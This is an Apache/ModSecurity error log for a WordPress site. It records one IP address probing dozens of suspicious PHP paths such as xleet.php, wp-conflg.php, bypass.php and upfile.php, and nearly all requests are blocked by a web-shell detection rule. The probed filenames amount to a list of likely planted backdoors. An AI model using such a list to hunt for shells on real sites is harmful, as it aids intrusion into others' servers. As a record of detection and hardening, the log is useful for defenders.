[Wed Apr 08 04:43:39.792198 2026] [:error] [pid 47627:tid 47706] [client 188.95.54.39:57784] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "adVse3Oljf1Quv_kDjl6PAAAAIc"]
[Wed Apr 08 04:43:42.169834 2026] [:error] [pid 16630:tid 16652] [client 188.95.54.39:57794] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Parse/about.php"] [unique_id "adVsfijfVAkPG-jgJEpjywAAARQ"]
[Wed Apr 08 04:43:42.692306 2026] [proxy_fcgi:error] [pid 47625:tid 47646] [client 188.95.54.39:57796] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 04:43:43.488060 2026] [:error] [pid 47625:tid 47643] [client 188.95.54.39:57796] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "adVsfyVuHyNWzZlE8PDp2wAAAAk"]
[Wed Apr 08 04:43:45.314479 2026] [proxy_fcgi:error] [pid 47627:tid 47706] [client 188.95.54.39:33090] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 04:43:45.832367 2026] [:error] [pid 47627:tid 47719] [client 188.95.54.39:33090] [client 188.95.54.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.95.54.39, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/ocean/wp-login.php"] [unique_id "adVsgXOljf1Quv_kDjl6TwAAAJQ"]
[Wed Apr 08 04:43:47.154834 2026] [:error] [pid 47627:tid 47709] [client 188.95.54.39:33090] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Cache/upfile.php"] [unique_id "adVsg3Oljf1Quv_kDjl6VgAAAIo"]
[Wed Apr 08 04:43:47.934948 2026] [:error] [pid 16630:tid 16639] [client 188.95.54.39:33096] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/plugins/fullscreen/about.php"] [unique_id "adVsgyjfVAkPG-jgJEpj5AAAAQc"]
[Wed Apr 08 04:43:49.496363 2026] [:error] [pid 47627:tid 47714] [client 188.95.54.39:33112] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-search-function.php"] [unique_id "adVshXOljf1Quv_kDjl6YgAAAI8"]
[Wed Apr 08 04:43:50.801774 2026] [:error] [pid 16630:tid 16654] [client 188.95.54.39:33128] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Canonical.php"] [unique_id "adVshijfVAkPG-jgJEpj9QAAARY"]
[Wed Apr 08 04:43:51.316359 2026] [:error] [pid 16630:tid 16635] [client 188.95.54.39:33138] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "adVshyjfVAkPG-jgJEpj9gAAAQM"]
[Wed Apr 08 04:43:52.608660 2026] [:error] [pid 47626:tid 47676] [client 188.95.54.39:33148] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-feed-index.php"] [unique_id "adVsiKjWI8TWtHx2sdbrVgAAAEg"]
[Wed Apr 08 04:43:53.657141 2026] [proxy_fcgi:error] [pid 47625:tid 47648] [client 188.95.54.39:56842] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 04:43:53.913863 2026] [:error] [pid 47625:tid 47654] [client 188.95.54.39:56842] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php"] [unique_id "adVsiSVuHyNWzZlE8PDp6gAAABQ"]
[Wed Apr 08 04:43:54.697691 2026] [:error] [pid 47625:tid 47657] [client 188.95.54.39:56858] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/db.php"] [unique_id "adVsiiVuHyNWzZlE8PDp8QAAABc"]
[Wed Apr 08 04:43:55.218809 2026] [:error] [pid 47627:tid 47714] [client 188.95.54.39:56860] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-dependency-float.php"] [unique_id "adVsi3Oljf1Quv_kDjl6cQAAAI8"]
[Wed Apr 08 04:43:55.736075 2026] [:error] [pid 47732:tid 47754] [client 188.95.54.39:56864] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "adVsi4m4N5QW9Mh7G10V_QAAANQ"]
[Wed Apr 08 04:43:56.257139 2026] [:error] [pid 47732:tid 47734] [client 188.95.54.39:56876] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/purna.php"] [unique_id "adVsjIm4N5QW9Mh7G10WAQAAAMA"]
[Wed Apr 08 04:43:56.778986 2026] [:error] [pid 47627:tid 47710] [client 188.95.54.39:56888] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/interactivity-api/interactivity-api-class.php"] [unique_id "adVsjHOljf1Quv_kDjl6dQAAAIs"]
[Wed Apr 08 04:43:57.303810 2026] [:error] [pid 47732:tid 47746] [client 188.95.54.39:56898] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/class-wp-widddget-pages.php"] [unique_id "adVsjYm4N5QW9Mh7G10WBQAAAMw"]
[Wed Apr 08 04:43:58.340443 2026] [:error] [pid 16630:tid 16633] [client 188.95.54.39:56902] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php"] [unique_id "adVsjijfVAkPG-jgJEpkFAAAAQE"]
[Wed Apr 08 04:43:58.857601 2026] [:error] [pid 16630:tid 16655] [client 188.95.54.39:56904] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php"] [unique_id "adVsjijfVAkPG-jgJEpkFwAAARc"]
[Wed Apr 08 04:43:59.374132 2026] [:error] [pid 47625:tid 47634] [client 188.95.54.39:56910] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/module.audio-video.riff-set.php"] [unique_id "adVsjyVuHyNWzZlE8PDqCgAAAAA"]
[Wed Apr 08 04:43:59.888414 2026] [:error] [pid 16630:tid 16639] [client 188.95.54.39:56916] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/utils/license.php"] [unique_id "adVsjyjfVAkPG-jgJEpkGQAAAQc"]
[Wed Apr 08 04:44:00.430380 2026] [:error] [pid 47732:tid 47743] [client 188.95.54.39:56928] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/options.php"] [unique_id "adVskIm4N5QW9Mh7G10WGgAAAMk"]
[Wed Apr 08 04:44:00.961489 2026] [proxy_fcgi:error] [pid 47627:tid 47719] [client 188.95.54.39:56930] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 04:44:01.750746 2026] [:error] [pid 47627:tid 47712] [client 188.95.54.39:56930] [client 188.95.54.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.95.54.39, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "adVskXOljf1Quv_kDjl6gQAAAI0"]
[Wed Apr 08 04:44:03.072712 2026] [:error] [pid 47627:tid 47700] [client 188.95.54.39:56930] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/goto.php"] [unique_id "adVsk3Oljf1Quv_kDjl6hgAAAIE"]
[Wed Apr 08 04:44:07.864506 2026] [:error] [pid 47627:tid 47707] [client 188.95.54.39:49414] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "adVsl3Oljf1Quv_kDjl6ngAAAIg"]
[Wed Apr 08 04:44:08.380961 2026] [:error] [pid 16630:tid 16646] [client 188.95.54.39:49424] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp_class_datlib.php"] [unique_id "adVsmCjfVAkPG-jgJEpkPQAAAQ4"]
[Wed Apr 08 04:44:08.893816 2026] [:error] [pid 47626:tid 47674] [client 188.95.54.39:49438] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/langs/about.php"] [unique_id "adVsmKjWI8TWtHx2sdbrawAAAEY"]
[Wed Apr 08 04:44:10.978149 2026] [:error] [pid 47732:tid 47748] [client 188.95.54.39:49448] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Registry-private.php"] [unique_id "adVsmom4N5QW9Mh7G10WUgAAAM4"]
[Wed Apr 08 04:44:11.527317 2026] [:error] [pid 16630:tid 16638] [client 188.95.54.39:49454] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-meta.php"] [unique_id "adVsmyjfVAkPG-jgJEpkTgAAAQY"]
[Wed Apr 08 04:44:12.051406 2026] [:error] [pid 47625:tid 47637] [client 188.95.54.39:49460] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/bypass.php"] [unique_id "adVsnCVuHyNWzZlE8PDqQgAAAAM"]
[Wed Apr 08 04:44:13.623328 2026] [:error] [pid 47732:tid 47740] [client 188.95.54.39:49470] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/adminfus.php"] [unique_id "adVsnYm4N5QW9Mh7G10WYAAAAMY"]
[Wed Apr 08 04:44:14.433687 2026] [:error] [pid 16630:tid 16637] [client 188.95.54.39:33206] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/group/wp-style.php"] [unique_id "adVsnijfVAkPG-jgJEpkWgAAAQU"]
[Wed Apr 08 04:44:15.670838 2026] [:error] [pid 47626:tid 47685] [client 188.95.54.39:33222] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-wolf-widget.php"] [unique_id "adVsn6jWI8TWtHx2sdbrgAAAAFE"]
[Wed Apr 08 04:44:19.794798 2026] [:error] [pid 47732:tid 47739] [client 188.95.54.39:33228] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/index.php"] [unique_id "adVso4m4N5QW9Mh7G10WhwAAAMU"]
[Wed Apr 08 04:44:21.023035 2026] [:error] [pid 47625:tid 47658] [client 188.95.54.39:33244] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/about.php"] [unique_id "adVspSVuHyNWzZlE8PDqaAAAABg"]
[Wed Apr 08 04:44:23.592163 2026] [:error] [pid 47732:tid 47749] [client 188.95.54.39:33252] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-sup.php"] [unique_id "adVsp4m4N5QW9Mh7G10WmgAAAM8"]
[Wed Apr 08 04:44:24.648197 2026] [:error] [pid 16630:tid 16654] [client 188.95.54.39:48454] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-t.api.php"] [unique_id "adVsqCjfVAkPG-jgJEpkeAAAARY"]
[Wed Apr 08 04:44:26.204669 2026] [:error] [pid 16630:tid 16648] [client 188.95.54.39:48462] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/require-dynamic-blocks.php"] [unique_id "adVsqijfVAkPG-jgJEpkggAAARA"]
[Wed Apr 08 04:44:29.065383 2026] [:error] [pid 47732:tid 47735] [client 188.95.54.39:48472] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-rss-database.php"] [unique_id "adVsrYm4N5QW9Mh7G10WxwAAAME"]
[Wed Apr 08 04:44:30.104722 2026] [:error] [pid 47732:tid 47758] [client 188.95.54.39:48482] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-customize-manager-client.php"] [unique_id "adVsrom4N5QW9Mh7G10W0QAAANg"]
[Wed Apr 08 04:44:30.613926 2026] [:error] [pid 16630:tid 16639] [client 188.95.54.39:48486] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-boolean.php"] [unique_id "adVsrijfVAkPG-jgJEpkhwAAAQc"]
[Wed Apr 08 04:44:32.458285 2026] [:error] [pid 16630:tid 16652] [client 188.95.54.39:48498] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/simi.php"] [unique_id "adVssCjfVAkPG-jgJEpkmQAAARQ"]
[Wed Apr 08 04:44:34.266424 2026] [:error] [pid 47625:tid 47638] [client 188.95.54.39:56592] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine-session.php"] [unique_id "adVssiVuHyNWzZlE8PDqgAAAAAQ"]
[Wed Apr 08 04:44:35.842218 2026] [:error] [pid 47627:tid 47721] [client 188.95.54.39:56608] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.min.php"] [unique_id "adVss3Oljf1Quv_kDjl60gAAAJY"]
[Wed Apr 08 04:44:36.365632 2026] [:error] [pid 16630:tid 16638] [client 188.95.54.39:56610] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/file/wp-style.php"] [unique_id "adVstCjfVAkPG-jgJEpkqwAAAQY"]
[Wed Apr 08 04:44:37.141976 2026] [:error] [pid 16630:tid 16636] [client 188.95.54.39:56616] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/class-IXR-cilent.php"] [unique_id "adVstSjfVAkPG-jgJEpkrwAAAQQ"]
[Wed Apr 08 04:44:38.168297 2026] [:error] [pid 16630:tid 16651] [client 188.95.54.39:56632] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/install.php"] [unique_id "adVstijfVAkPG-jgJEpktwAAARM"]
[Wed Apr 08 04:44:38.686612 2026] [:error] [pid 47732:tid 47758] [client 188.95.54.39:56646] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/xleet.php"] [unique_id "adVstom4N5QW9Mh7G10W9gAAANg"]
[Wed Apr 08 04:44:40.781165 2026] [:error] [pid 47625:tid 47656] [client 188.95.54.39:56658] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/category-double.php"] [unique_id "adVsuCVuHyNWzZlE8PDqjAAAABY"]
[Wed Apr 08 04:44:41.818382 2026] [:error] [pid 47626:tid 47682] [client 188.95.54.39:56670] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/db.php"] [unique_id "adVsuajWI8TWtHx2sdbrtQAAAE4"]
